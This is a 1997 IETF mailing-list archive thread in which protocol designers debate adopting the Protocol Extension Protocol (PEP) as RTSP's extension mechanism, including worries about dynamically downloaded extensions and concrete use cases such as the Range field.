Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id JAA17543; Sat, 17 May 1997 09:04:42 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id JAA23349; Sat, 17 May 1997 09:03:15 -0400 (EDT)
Message-Id: <337DAC92.28E1@cs.columbia.edu>
Date: Sat, 17 May 1997 09:03:14 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Ross Patterson <Ross_Patterson@ns.reston.vmd.sterling.com>
Cc: http-wg@cuckoo.hpl.hp.com, confctrl@ISI.EDU
Subject: Re: PEP Integration in RTSP
References: <199705170002.AA21215@reston.vmd.sterling.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Ross Patterson wrote:
> 
> http-wg@cuckoo.hpl.hp.com writes:
> 
> >The authors of RTSP [1] and authors of PEP [2] have been discussing how to
> >integrate PEP into RTSP as the standard extension mechanism for RTSP.  The
> >authors of RTSP have very strong consensus now that we will use PEP, and
> >the only question remains:  how will this be integrated?
> 
> Some of us, myself included, don't believe PEP is such a great idea.
> Its bias towards nonstandard extensions with downloadable
> implementations just doesn't jive with the '90s "safe computing" world.

I don't think (speaking for the RTSP authors, at least) that we
anticipated downloadable extensions. I seem to remember from the PEP
draft that the URLs serve to (a) identify (b) describe the extensions. I
don't see how downloadable extensions would work, given the diversity of
servers, platforms, languages, etc. As far as I can tell, the draft
doesn't mention downloadable extensions.

> I'll have a very hard time convincing any of my customers to download
> anything into the webservers my company sold them, no matter who's
> responsible for the code.  My personal expectation (not necessarily
> Sterling Software's, as we haven't discussed PEP much) is that PEP in
> the traditionally high-security, high-reliability mainframe world is
> dead on arrival.  I've held off commenting to date as I expect this is
> both a minority viewpoint and an environment where no matter what
> changes are made (short of using URNs to identify already-embedded
> "extensions"), any form of PEP will be simply unacceptable.
> 

> Ross Patterson
> Sterling Software, Inc.
> VM Software Division

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Sat May 17 06:30:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA09686>; Sat, 17 May 1997 07:59:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA09680>; Sat, 17 May 1997 07:59:33 -0700
Received: from ns.reston.vmd.sterling.com by venera.isi.edu (5.65c/5.61+local-27)
	id <AA03042>; Sat, 17 May 1997 07:59:32 -0700
Received: ns.reston.vmd.sterling.com 
	id AA22578; Sat, 17 May 1997 11:02:27 -0400 
Message-Id: <199705171502.AA22578@reston.vmd.sterling.com>
Date: Sat, 17 May 97 10:30:30 EDT
From: "Ross Patterson" <Ross_Patterson@ns.reston.vmd.sterling.com>
To: http-wg@cuckoo.hpl.hp.com, confctrl@ISI.EDU
Subject: Re: PEP Integration in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Henning Schulzrinne <schulzrinne@cs.columbia.edu> writes:

>                                     I seem to remember from the PEP
>draft that the URLs serve to (a) identify (b) describe the extensions. I
>don't see how downloadable extensions would work, given the diversity of
>servers, platforms, languages, etc.

I agree, although Java and the "servlet" movement might change all that.
But frankly, I'm more concerned about the "nonstandard" part of my
"nonstandard downloadable" comment.  I see PEP as primarily advancing
the Balkanization of HTTP that began when the major browsers started to
deploy unilateral and (at the time) unpublished extensions to both HTTP
and HTML.  Experimentation is good for interoperability, but variant
"standards" are not.

>                                    As far as I can tell, the draft
>doesn't mention downloadable extensions.

From the 28 April 1997 (level 03) PEP draft, section 4.2, "Operational
Overview", as posted to http-wg:

  "The PEP mechanism is designed to accommodate dynamic extension of
   clients, servers, and proxies by software components as follows:

       * Clients and servers are implemented with software component
         interfaces that allow dynamic installation of extension
         facilities.
       * An extension is assigned a URI; in addition to a human-
         readable specification of an extension, a machine-readable
         implementation or description of the extension is published
         at that address.
       * If a message that refers to an extension is received by a
         party that has no awareness of the extension, the receiver
         can dereference the extension's identifier and dynamically
         load support for the extended facility."

And again in section 12, "Security Considerations":

   "* Dynamic installation of extension facilities as described in
      the introduction involves software written by one party (the
      provider of the implementation) to be executed under the
      authority of another (the party operating the host software).
      This opens the host party to a variety of "Trojan horse"
      attacks by the provider, or a malicious third party that forges
      implementations under a provider's name. See, for example,
      section 7.4.2 of RFC1521 for a discussion of these risks[.]"

The level 02 draft contained a section entitled "Bootstrapping and
Dynamic Loading" that is not present in level 03, although it is cited
by name twice.  It read:

   "The extension definition MAY be made available in different
   representations.  For example, a software component that
   implements the specification MAY reside at the same address as a
   human-readable specification (distinguished by content
   negotiation).

   The human-readable representation serves to document the extension
   and encourage deployment, while the software component to allows
   clients and servers to be dynamically extended."

Nothing here requires that a server go obtain the extension and run it,
but market pressure will inevitably lead there, especially the first
time either Netscape or Microsoft publish a downloadable extension.
Just look at the Netscape plug-in market - it's what HTTP will wind up
looking like after that.

Ross Patterson
Sterling Software, Inc.
VM Software Division

From majordom@ISI.EDU  Mon May 19 01:39:37 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA27667>; Mon, 19 May 1997 08:40:59 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA27652>; Mon, 19 May 1997 08:40:48 -0700
Received: from INET-03-IMC.microsoft.com (mail3.microsoft.com) by quark.isi.edu (5.65c/5.61+local-25)
	id <AA27397>; Mon, 19 May 1997 08:40:45 -0700
Received: by INET-03-IMC with Internet Mail Service (5.0.1458.30)
	id <LHNR3TXG>; Mon, 19 May 1997 08:41:14 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E18036DA936@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Rob Lanphier' <robla@prognet.com>, confctrl@ISI.EDU
Subject: RE: PEP Integration in RTSP
Date: Mon, 19 May 1997 08:39:37 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The WG's mailing list has been silent for quite a while. During this
time the RTSP authors have apparently been actively debating PEP. This
makes it difficult for those who were not a party to these discussions
to completely understand what the authors are exactly thinking.

Therefore, I'd like to request that the authors please post to the WG
the specific wording changes they would like to see made to the latest
(i.e., 02) version of the RTSP document to express their consensus
position. I fear that without such a clear statement we may
inadvertently make inaccurate assumptions concerning their consensus.

> -----Original Message-----
> From:	Rob Lanphier [SMTP:robla@prognet.com]
> Sent:	Friday, May 16, 1997 1:40 PM
> To:	confctrl@isi.edu; http-wg@cuckoo.hpl.hp.com
> Subject:	PEP Integration in RTSP
> 
> The authors of RTSP [1] and authors of PEP [2] have been discussing
> how to
> integrate PEP into RTSP as the standard extension mechanism for RTSP.
> The
> authors of RTSP have very strong consensus now that we will use PEP,
> and
> the only question remains:  how will this be integrated?
> 
> I'm crossposting this to the confctrl mailing list for the MMUSIC
> group
> [3], and the HTTP-WG group alias [4] in order to get some input from
> both
> groups.  Since RTSP has a very HTTP-like look and feel (though very
> different in state and data delivery issues), it makes sense to share
> mechanisms which should be common between the two.
> 
> In the discussions between authors of RTSP and PEP, we came to the
> conclusion that PEP complience in RTSP should be mandatory, which
> would
> make the relationship between PEP and RTSP different than the
> relationship
> between PEP and HTTP.  
> 
> The reason why we made this decision is that it allows cleaner PEP
> integration into RTSP.  This allows RTSP entities to forgo prepending
> "PEP-" to all methods that require PEP.  The new language within RTSP
> would
> essentially say that servers MUST parse the "PEP:" and "C-PEP:" fields
> and
> MUST return "420 Bad Extension" when there is a PEP extension of
> strength
> "must".
> 
> Prior to talking things over with the PEP authors, I had sent a note
> to the
> confctrl alias about PEP integration, which I've included below for
> the
> http-wg alias members' benefit.  There hasn't been a lot of comments
> about
> this, and I suspect it's because people haven't had the opportunity to
> look
> over the PEP specification.  Now that there is a more concrete
> proposal on
> the table and that the direction from us as RTSP authors is clearer,
> I'd
> like to solicit people's comment on this now.
> 
> Thanks
> Rob Lanphier
> Progressive Networks
> 
> Resources:
> [1] Real Time Streaming Protocol (http://www.real.com/prognet/rt)
> [2] Protocol Extension Protocol
> (http://www.w3.org/pub/WWW/Protocols/PEP/Overview.html)
> [3] IETF's MMUSIC working group
> (http://www.ietf.org/html.charters/mmusic-charter.html)
> [4] IETF's HTTP working group
> (http://www.ietf.org/html.charters/http-charter.html)
> 
> -------------------
> Date: Thu, 17 Apr 1997 13:40:16 -0700
> To: confctrl@isi.edu
> From: Rob Lanphier <robla@prognet.com>
> Subject: RTSP: 2. Use of PEP for Require and Transport-Require
> 
> The Require field (see section 11.17 of the current
> draft) provides a simple mechanism for capability
> query.
> 
> A standard for providing this functionality (and
> more) is PEP, an option negotiation method from the
> HTTP working group.
> 
> The authors are mostly in agreement that PEP is/will
> be a really good thing, and the only question is
> whether it can immediately placed into the RTSP
> specification, or whether there should be an
> intermediate mechanism pending the completion of PEP.
> 
> The general feeling in Memphis was that people needed
> more time to look at PEP, and make sure that some
> such mechanism is needed. There would be more
> deliberation on the mailing list on this topic before
> any sort of decision one way or another is made.
> 
> Some folks thought of this as something that can be
> added later, to which Henrik Frystyk Nielsen from the
> W3C noted that there is a need for some option
> negotiation core to the protocol, which was a lesson
> learned from the original HTTP specification.
> 
> 

From majordom@ISI.EDU  Mon May 19 08:13:47 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA29778>; Mon, 19 May 1997 09:16:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA29770>; Mon, 19 May 1997 09:16:35 -0700
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-27)
	id <AA07193>; Mon, 19 May 1997 09:16:30 -0700
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA25089; Mon, 19 May 1997 12:13:48 -0400
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@isi.edu
Subject: Re: PEP Integration in RTSP 
In-Reply-To: Your message of "Fri, 16 May 1997 13:40:25 PDT."
             <3.0.32.19970516134024.01144f3c@mail.prognet.com> 
Date: Mon, 19 May 1997 12:13:47 -0400
Message-Id: <25087.864058427@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>The authors of RTSP [1] and authors of PEP [2] have been discussing how to
>integrate PEP into RTSP as the standard extension mechanism for RTSP.  The
>authors of RTSP have very strong consensus now that we will use PEP, and
>the only question remains:  how will this be integrated?

HTTP has evolved to be all things to all people (kind of a universal
transport/transaction protocol), and to need to carry an almost
infinite variety of header fields, which is why a protocol like PEP is
now required.

Do we really believe that RTSP needs to evolve in the same way?

Mark

From majordom@ISI.EDU  Mon May 19 20:27:11 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA00537>; Mon, 19 May 1997 09:27:20 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA00530>; Mon, 19 May 1997 09:27:18 -0700
Received: from wsooti08.win.tue.nl by venera.isi.edu (5.65c/5.61+local-27)
	id <AA07842>; Mon, 19 May 1997 09:27:17 -0700
Received: by wsooti08.win.tue.nl (8.7.1/1.45)
    id SAA18057; Mon, 19 May 1997 18:27:12 +0200 (MET DST)
From: koen@win.tue.nl (Koen Holtman)
Message-Id: <199705191627.SAA18057@wsooti08.win.tue.nl>
Subject: Re: PEP Integration in RTSP
To: robla@prognet.com (Rob Lanphier)
Date: Mon, 19 May 1997 18:27:11 +0200 (MET DST)
Cc: confctrl@isi.edu, http-wg%cuckoo.hpl.hp.com@hplb.hpl.hp.com
In-Reply-To: <3.0.32.19970516134024.01144f3c@mail.prognet.com> from "Rob Lanphier" at May 16, 97 01:40:25 pm
X-Mailer: ELM [version 2.4 PL23]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob Lanphier:
>
>The authors of RTSP [1] and authors of PEP [2] have been discussing how to
>integrate PEP into RTSP as the standard extension mechanism for RTSP.  The
>authors of RTSP have very strong consensus now that we will use PEP, and
>the only question remains:  how will this be integrated?

A word of warning here: PEP is not a finished product, and I have no
idea how long it will take us (the HTTP-wg) to converge on PEP.

>Thanks
>Rob Lanphier
>Progressive Networks

Koen.


From majordom@ISI.EDU  Mon May 19 10:33:37 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA09026>; Mon, 19 May 1997 11:37:12 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA09020>; Mon, 19 May 1997 11:37:10 -0700
Received: from www10.w3.org by venera.isi.edu (5.65c/5.61+local-27)
	id <AA14249>; Mon, 19 May 1997 11:37:08 -0700
Received: from big (big.w3.org [18.29.0.116]) by www10.w3.org (8.8.5/8.7.3) with SMTP id OAA06129; Mon, 19 May 1997 14:33:38 -0400 (EDT)
X-Authentication-Warning: www10.w3.org: Host big.w3.org [18.29.0.116] claimed to be big
Message-Id: <3.0.1.32.19970519143337.00adabb0@pop.w3.org>
X-Sender: frystyk@pop.w3.org
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Mon, 19 May 1997 14:33:37 -0400
To: Eric Fleischman <ericfl@MICROSOFT.com>,
        "'Rob Lanphier'" <robla@prognet.com>, confctrl@ISI.EDU
From: Henrik Frystyk Nielsen <frystyk@w3.org>
Subject: RE: PEP Integration in RTSP
In-Reply-To: <503A2A3C2932CF118D8800805FD44E18036DA936@RED-68-MSG.dns.mi
 crosoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 08:39 AM 5/19/97 -0700, Eric Fleischman wrote:
>The WG's mailing list has been silent for quite a while. During this
>time the RTSP authors have apparently been actively debating PEP. This
>makes it difficult for those who were not a party to these discussions
>to completely understand what the authors are exactly thinking.

Sorry for the delay - the reason was that I have been working on a new
version of the PEP draft which would separate out the specific interactions
with HTTP. This is so that it would be easier for you guys to look at the
PEP draft and use the generic parts of PEP in RTSP. I am about to wrap it
up and publish it as an ID by the end of the week. In the mean time, let me
give you my view of the situation:

PEP is designed to support dynamic extensibility of HTTP methods, headers,
and status codes. Before describing in detail how PEP does this, it is
constructive to have a look at how methods, headers, and status codes
behave in both HTTP and RTSP:

Methods

The method token in a request indicates the method to be performed on the
resource identified by the Request-URI. Methods need a priori agreement of
semantics and can not be extended dynamically. If an server does not know a
method, it must report an error message, see RFC2068 section 5.1.1. A
limitation of the method space is that a request can only contain a single
method. Hence, it is not possible to support multiple, simultaneous
extensions unless having a multiplicity of methods.

Status Codes

The status code element is a 3-digit integer result code of the attempt to
understand and satisfy the request. Status codes are like method tokens in
that there can only be a single status code in a response. However, status
codes are somewhat easier to extend, as unknown status codes must be
treated as the x00 code of that class, see RFC2068 section 6.1.1. For
example, a new status code, 223 (My New Code) would default to 200 (OK).

Headers

Header fields can be used to pass information about any of the parties
involved in the transaction, the transaction itself, or the resource
identified by the Request-URI. The advantage of headers is that the header
space is relatively open compared to that of methods and status codes. New
headers can be introduced and must be ignored if the recipient does not
recognize the header without affecting the outcome of the transaction, see
RFC2068 section 7.1

As a result of this, PEP is designed to use the header space for describing
extensions and not directly use methods or status codes. Instead, PEP
introduces a placeholder in the method space and status code space
respectively guaranteeing that all interactions with existing applications
perform according to the PEP specification.

Instead of the method name placeholder, however, which is required in HTTP,
RTSP can do better as it can say that PEP headers MUST not be ignored. The
advantage of this is that RTSP from day one has a dynamic extension model
which covers methods, headers, and status codes.

HTTP has lacked this for a long time and the result is that people invent
their own methods and don't tell each other about them. It is hard to say
exactly what the evolution of RTSP will be and in any case, I am sure that
you know much better than I, but from a general point of view it is hard to
see why RTSP will not develop as any normal protocol. Note, that this is
not only valid for HTTP but also SMTP, NNTP, FTP, etc.

The next question is then - how much is needed to make room for PEP in
RTSP? This has been the main topic in the discussions that you refer to.
The minimum answer is that the only thing needed is that an RTSP server
MUST recognize and parse the PEP headers and respond with an error if it
sees an extension of strength "must".

Thanks,

Henrik
--
Henrik Frystyk Nielsen, <frystyk@w3.org>
World Wide Web Consortium
http://www.w3.org/People/Frystyk

From majordom@ISI.EDU  Mon May 19 10:56:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA09857>; Mon, 19 May 1997 11:56:54 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA09846>; Mon, 19 May 1997 11:56:50 -0700
Received: from www10.w3.org by venera.isi.edu (5.65c/5.61+local-27)
	id <AA15043>; Mon, 19 May 1997 11:56:45 -0700
Received: from big (big.w3.org [18.29.0.116]) by www10.w3.org (8.8.5/8.7.3) with SMTP id OAA06204; Mon, 19 May 1997 14:56:31 -0400 (EDT)
X-Authentication-Warning: www10.w3.org: Host big.w3.org [18.29.0.116] claimed to be big
Message-Id: <3.0.1.32.19970519145630.00946100@pop.w3.org>
X-Sender: frystyk@pop.w3.org
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Mon, 19 May 1997 14:56:30 -0400
To: "Ross Patterson" <Ross_Patterson@ns.reston.vmd.sterling.com>,
        http-wg@cuckoo.hpl.hp.com, confctrl@ISI.EDU
From: Henrik Frystyk Nielsen <frystyk@w3.org>
Subject: Re: PEP Integration in RTSP
In-Reply-To: <199705171502.AA22578@reston.vmd.sterling.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 10:30 AM 5/17/97 EDT, Ross Patterson wrote:
>Henning Schulzrinne <schulzrinne@cs.columbia.edu> writes:
>
>>                                     I seem to remember from the PEP
>>draft that the URLs serve to (a) identify (b) describe the extensions. I
>>don't see how downloadable extensions would work, given the diversity of
>>servers, platforms, languages, etc.
>
>I agree, although Java and the "servlet" movement might change all that.
>But frankly, I'm more concerned about the "nonstandard" part of my
>"nonstandard downloadable" comment.  I see PEP as primarily advancing
>the Balkanization of HTTP that began when the major browsers started to
>deploy unilateral and (at the time) unpublished extensions to both HTTP
>and HTML.  Experimentation is good for interoperability, but variant
>"standards" are not.

This is actually what I would call an argument _for_ PEP and not against ;-) 

What is happening now is that more and more applications become dynamically
extendible but there is no mechanism for expressing this on the wire. If
the only mechanism to describe dynamically extensible applications are
using static specifications then we get the tension that we see now in HTTP.

Note, that it is not a "either or" situation between PEP and new versions
of HTTP, RTSP, etc. PEP extensions which become popular can get integrated
into the base protocol as they evolve and become ubiquitous.

>Nothing here requires that a server go obtain the extension and run it,
>but market pressure will inevitably lead there, especially the first
>time either Netscape or Microsoft publish a downloadable extension.
>Just look at the Netscape plug-in market - it's what HTTP will wind up
>looking like after that.

The problem of trust and which extensions you can download is real but is
not particular to PEP - it's the same problem every time you download
something onto your computer.

Thanks,

Henrik
--
Henrik Frystyk Nielsen, <frystyk@w3.org>
World Wide Web Consortium
http://www.w3.org/People/Frystyk

From majordom@ISI.EDU  Mon May 19 06:00:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA21528>; Mon, 19 May 1997 13:05:53 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA21519>; Mon, 19 May 1997 13:05:51 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-27)
	id <AA21657>; Mon, 19 May 1997 13:05:45 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA18329
  (5.67b/IDA-1.5); Mon, 19 May 1997 13:03:22 -0700
Message-Id: <3.0.32.19970519130044.00fa0744@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Mon, 19 May 1997 13:00:46 -0700
To: Mark Handley <mjh@isi.edu>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: PEP Integration in RTSP 
Cc: confctrl@isi.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 12:13 PM 5/19/97 -0400, Mark Handley wrote:
>HTTP has evolved to be all things to all people (kind of a universal
>transport/transaction protocol), and to need to carry an almost
>infinite variety of header fields, which is why a protocol like PEP is
>now required.
>
>Do we really believe that RTSP needs to evolve in the same way?

Here's what is driving this.  The current RealAudio and RealVideo products
have an extension mechanism in it.  This has been an absolutely vital part
of keeping the protocol sane and yet still allowing the rapid deployment of
new features.  The current RealAudio mechanism is relatively simple, and
really not unlike the "Require:" field in the current RTSP draft.

Henning was rightfully concerned that we were needlessly diverging from the
direction of HTTP by having our own extension mechanism, and proposed that
we use PEP.  PEP is more powerful than "Require:" and "Transport-require:",
and thus is more complicated.

So, based on your statement above, there are two questions here:
*  Do we need an extension mechanism?  I'm very adament that this must be a
feature of the protocol, given Progressive Networks' past experience with
this.
*  Should we use PEP?  I really think it's the right thing to do, given
that we are proposing an extension mechanism, and since the PEP authors
have clearly put a lot of thought into this problem.  However, there are
risks associated with this:  mainly, that PEP is an Internet draft, and
therefore must reach "proposed standard" before it can be a requirement of
RTSP (i.e. before RTSP can reach "proposed standard").

As HTTP has shown, not having an extension mechanism does not mean that
vendors won't add features to the protocol.  Rather, what it means is that
they will do it in ways that may break existing implementations.  I think
the best thing about PEP is that it allows unextended clients a way of
gracefully  handling extensions, and that is a very desirable feature.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Mon May 19 06:00:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA22088>; Mon, 19 May 1997 13:14:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA22080>; Mon, 19 May 1997 13:14:37 -0700
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-27)
	id <AA22029>; Mon, 19 May 1997 13:14:36 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA18329
  (5.67b/IDA-1.5); Mon, 19 May 1997 13:03:22 -0700
Message-Id: <3.0.32.19970519130044.00fa0744@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Mon, 19 May 1997 13:00:46 -0700
To: Mark Handley <mjh@isi.edu>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: PEP Integration in RTSP 
Cc: confctrl@isi.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 12:13 PM 5/19/97 -0400, Mark Handley wrote:
>HTTP has evolved to be all things to all people (kind of a universal
>transport/transaction protocol), and to need to carry an almost
>infinite variety of header fields, which is why a protocol like PEP is
>now required.
>
>Do we really believe that RTSP needs to evolve in the same way?

Here's what is driving this.  The current RealAudio and RealVideo products
have an extension mechanism in it.  This has been an absolutely vital part
of keeping the protocol sane and yet still allowing the rapid deployment of
new features.  The current RealAudio mechanism is relatively simple, and
really not unlike the "Require:" field in the current RTSP draft.

Henning was rightfully concerned that we were needlessly diverging from the
direction of HTTP by having our own extension mechanism, and proposed that
we use PEP.  PEP is more powerful than "Require:" and "Transport-require:",
and thus is more complicated.

So, based on your statement above, there are two questions here:
*  Do we need an extension mechanism?  I'm very adament that this must be a
feature of the protocol, given Progressive Networks' past experience with
this.
*  Should we use PEP?  I really think it's the right thing to do, given
that we are proposing an extension mechanism, and since the PEP authors
have clearly put a lot of thought into this problem.  However, there are
risks associated with this:  mainly, that PEP is an Internet draft, and
therefore must reach "proposed standard" before it can be a requirement of
RTSP (i.e. before RTSP can reach "proposed standard").

As HTTP has shown, not having an extension mechanism does not mean that
vendors won't add features to the protocol.  Rather, what it means is that
they will do it in ways that may break existing implementations.  I think
the best thing about PEP is that it allows unextended clients a way of
gracefully  handling extensions, and that is a very desirable feature.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Mon May 19 08:53:20 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA10660>; Mon, 19 May 1997 16:29:53 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA10617>; Mon, 19 May 1997 16:29:48 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-27)
	id <AA18290>; Mon, 19 May 1997 16:29:47 -0700
Received: from big-bear by precept.com (SMI-8.6/SMI-SVR4)
	id PAA04647; Mon, 19 May 1997 15:53:21 -0700
Date: Mon, 19 May 1997 15:53:20 -0700 (PDT)
From: Karl Auerbach <karl@precept.com>
X-Sender: karl@big-bear
Reply-To: karl@precept.com
To: Rob Lanphier <robla@prognet.com>
Cc: Mark Handley <mjh@isi.edu>, confctrl@isi.edu
Subject: Re: PEP Integration in RTSP 
In-Reply-To: <3.0.32.19970519130044.00fa0744@mail.prognet.com>
Message-Id: <Pine.SOL.3.93.970519155213.609A-100000@big-bear>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


> So, based on your statement above, there are two questions here:  * Do
> we need an extension mechanism?  I'm very adament that this must be a
> feature of the protocol, given Progressive Networks' past experience
> with this. 

It might help clarify things if we had a few concrete examples of what
kinds of things this extensibility would be useful for (and perhaps some
examples of where it wouldn't be useful.)

		--karl--



From majordom@ISI.EDU  Thu May 22 03:04:27 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA28503>; Thu, 22 May 1997 10:18:49 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-24)
	id <AA28496>; Thu, 22 May 1997 10:18:46 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA27177>; Thu, 22 May 1997 10:18:46 -0700
Received: from robla.dev.prognet.com (two221.dev.prognet.com) by murrow.prognet.com with SMTP id AA02457
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Thu, 22 May 1997 10:07:14 -0700
Message-Id: <3.0.32.19970522100406.00ce6514@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Thu, 22 May 1997 10:04:27 -0700
To: karl@precept.com
From: Rob Lanphier <robla@prognet.com>
Subject: Re: PEP Integration in RTSP 
Cc: confctrl@isi.edu
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 03:53 PM 5/19/97 -0700, you wrote:
>
>> So, based on your statement above, there are two questions here:  * Do
>> we need an extension mechanism?  I'm very adament that this must be a
>> feature of the protocol, given Progressive Networks' past experience
>> with this. 
>
>It might help clarify things if we had a few concrete examples of what
>kinds of things this extensibility would be useful for (and perhaps some
>examples of where it wouldn't be useful.)

I'll be working on better examples than what I'm presenting below.  The
idea is that we want to make sure that we have a way of recovering from
oversights in the protocol design.  Obviously, for me to point out things
now that we will consider to be oversights is rather difficult, since of
course there are no oversights in our design :)

Rather than me trying to contrive a new feature which may start an argument
about the feature itself, I'm going to take a non-controversial feature
that already exists in protocol, and consider the hypothetical situation
that we overlooked this in our original design.

Let's take the "Range:" field on the PLAY method.  If we had accidently
left this field out, retrofitting it on a protocol that doesn't have
something like PEP would be rather difficult, since fields are ignored if
they aren't recognized.  This would mean that a client requesting to play
the last 30 seconds of a clip may potentially get the beginning of the
clip, which it would then have to shut down and figure out how to deal with
that contingency.

In a stateful protocol like RTSP, an added function of PEP is to freeze the
state machine when there is a problem rather than having the server plow
ahead in the state machine when the client isn't necessarily ready for it
to do that.  This would force the client to figure out how to back out the
unintentional state change on the server.

Some of the scenarios at the W3C site apply here as well:
http://www.w3.org/pub/WWW/Protocols/PEP/PEPScenarios.html

In particular, look at Scenario 2, 4, 5, and 6.

Another possibly applicable feature is the HTTP Sticky Headers feature:
http://www.w3.org/pub/WWW/Protocols/HTTP/Sticky/

Whether or not this is desirable is certainly debatable, but the idea of
having a standard way for a client to let the server know how the
appropriate way to deny a feature is a very nice thing.

I hope this helps.

Robla

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Fri May 23 16:50:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA02246>; Fri, 23 May 1997 05:50:15 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA02240>; Fri, 23 May 1997 05:50:12 -0700
